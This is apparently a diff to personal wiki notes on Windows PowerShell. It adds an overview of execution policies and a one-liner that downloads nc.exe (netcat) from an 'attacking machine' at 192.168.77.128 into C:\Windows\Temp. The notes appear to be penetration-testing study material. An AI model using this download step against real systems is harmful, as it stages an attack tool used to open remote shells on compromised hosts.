 ====== Windows PowerShell ======
-**Example: For Loop**
+===== Execution Policies =====
+PowerShell (PS) execution policies determine your authorization to execute PS scripts or not:
+  - **Restricted:** [default] Blocks all use of PS scripts
+  - **AllSigned:** Requires PS scripts to e signed by a trusted publisher
+  - **RemoteSigned:** This is a common "normal" setting in many systems...
+    - Allows any PS script written on the local machine.
+    - But requires downloaded scripts to be signed by a trusted publisher.
+  - **Unrestricted:** Allows any PS script but prompts you for confirmation on downloaded scripts.
+  - **Bypass:** Allows any and all PS scripts. Have at it!
+Syntax for changing the PowerShell execution policy:
+<code>
+Set-ExecutionPolicy [name]
+# Example:
+Set-ExecutionPolicy RemoteSigned
+</code>

+===== Example Code =====
+==== One-Liner Download ====
+A very useful one-liner to download a file (nc.exe) from an attacking machine (IP 192.168.77.128) and save it in C:\Windows\Temp using the same name:
+<code>
+(New-Object System.Net.WebClient).DownloadFile("http://192.168.77.128/nc.exe", "C:\Windows\Temp\nc.exe")
+</code>
+==== For Loop ====
